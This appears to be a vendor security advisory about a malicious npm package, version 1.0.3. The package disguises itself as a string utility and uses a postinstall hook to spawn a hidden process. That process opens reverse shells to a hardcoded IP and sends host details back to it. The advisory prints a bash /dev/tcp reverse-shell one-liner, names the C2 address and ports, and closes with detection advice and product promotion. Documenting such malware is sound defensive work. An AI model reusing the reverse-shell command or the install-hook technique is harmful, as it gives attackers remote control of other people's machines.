yianzzkf6687npm
yianzzkf6687 is a confirmed malicious npm package (MAL-2026-6235) that opens a backdoor for remote access (malicious version 1.0.3). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in yianzzkf6687 (npm)
What this malware does
On npm install, the postinstall hook (scripts/postinstall.js) detach-spawns scripts/shell.js with detached: true, stdio: 'ignore', windowsHide: true and unref()s it, so the malicious process persists silently after npm install returns. scripts/shell.js hardcodes HOST = '114.67.90.67' and opens reverse shells to that IP across multiple fallback ports (3334, 4444, 443, 80, 8080, 53) using Node net, bash -c "bash -i >& /dev/tcp/<HOST>/<port> 0>&1", and a Python fallback, then uses setInterval to keep the process alive. It also sends an HTTP GET to http://114.67.90.67:8333/ping with the installer's hostname, username, cwd, and OS platform/release as query parameters, confirming victim acquisition. The package advertises itself as a string-manipulation utility, providing cover for the backdoor. Installing this package gives the operator of 114.67.90.67 interactive shell access on the installer's machine.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for yianzzkf6687 (version 1.0.3). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging yianzzkf6687 across your stack and pipelines.
If you installed it — respond
yianzzkf6687 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If yianzzkf6687 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks yianzzkf6687 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks yianzzkf6687-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.